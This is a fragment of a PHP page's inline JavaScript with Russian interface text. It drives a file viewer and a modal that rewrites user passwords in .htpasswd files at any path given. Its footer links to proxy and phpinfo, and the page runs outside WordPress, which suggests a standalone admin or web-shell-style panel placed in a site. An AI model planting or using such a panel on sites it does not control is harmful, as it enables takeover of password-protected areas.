} }); } function closeViewModal() { document.getElementById('view-modal-overlay').classList.remove('active'); } function copyFileContent() { var pre=document.querySelector('#view-modal-body pre'); if (!pre) return; navigator.clipboard.writeText(pre.textContent).then(function() { var btn=document.querySelector('.btn-copy-file'); btn.textContent='✅ Скопировано'; setTimeout(function(){ btn.textContent='📋 Копировать'; },2000); }); } document.getElementById('view-modal-overlay').addEventListener('click',function(e){ if(e.target===this) closeViewModal(); }); // ===== СМЕНА ПАРОЛЯ ===== var _currentUser='', _currentFile='', _currentHashId=''; function openModal(username, filepath, hashId) { _currentUser=username; _currentFile=filepath; _currentHashId=hashId; document.getElementById('modal-username').textContent=username; document.getElementById('modal-filepath').textContent=filepath; document.getElementById('modal-password').value=''; document.getElementById('modal-password2').value=''; document.getElementById('modal-msg').className='modal-msg'; document.getElementById('modal-msg').textContent=''; document.getElementById('modal-new-hash').textContent=''; document.getElementById('modal-overlay').classList.add('active'); document.getElementById('modal-password').focus(); } function closeModal() { document.getElementById('modal-overlay').classList.remove('active'); } function togglePw() { var f=document.getElementById('modal-password'); f.type=f.type==='password'?'text':'password'; } function togglePw2() { var f=document.getElementById('modal-password2'); f.type=f.type==='password'?'text':'password'; } function savePassword() { var pw=document.getElementById('modal-password').value; var pw2=document.getElementById('modal-password2').value; var msg=document.getElementById('modal-msg'); msg.className='modal-msg'; msg.textContent=''; if (!pw) { msg.className='modal-msg error'; msg.textContent='Введите пароль'; return; } if (pw!==pw2) { msg.className='modal-msg error'; msg.textContent='Пароли не совпадают'; return; } if (pw.length<4) { msg.className='modal-msg error'; msg.textContent='Пароль слишком короткий'; return; } var btn=document.querySelector('.btn-save'); btn.disabled=true; btn.textContent='⏳ Сохраняем...'; var fd=new FormData(); fd.append(APP_ACTION_FIELD,'change_password'); fd.append('htpasswd_path',_currentFile); fd.append('username',_currentUser); fd.append('new_password',pw); appPost(fd) .then(function(data) { btn.disabled=false; btn.textContent='💾 Сохранить'; if (data.success) { msg.className='modal-msg success'; msg.textContent='✅ Пароль успешно изменён!'; document.getElementById('modal-new-hash').textContent='Новый хеш: '+data.new_hash; var el=document.getElementById('hash-'+_currentHashId); if (el) el.textContent=data.new_hash; setTimeout(closeModal,2500); } else { msg.className='modal-msg error'; msg.textContent='❌ '+data.error; } }) .catch(function(e) { btn.disabled=false; btn.textContent='💾 Сохранить'; msg.className='modal-msg error'; msg.textContent='❌ '+e.message; }); } document.getElementById('modal-overlay').addEventListener('click',function(e){ if(e.target===this) closeModal(); }); </script> </body> </html> <?php } if (!defined('ABSPATH')) { up_to_run_app(); }
| ver. 1.4 |
Github
|
.
| PHP 8.0.30 | Generation time: 0 |
proxy
|
phpinfo
|
Settings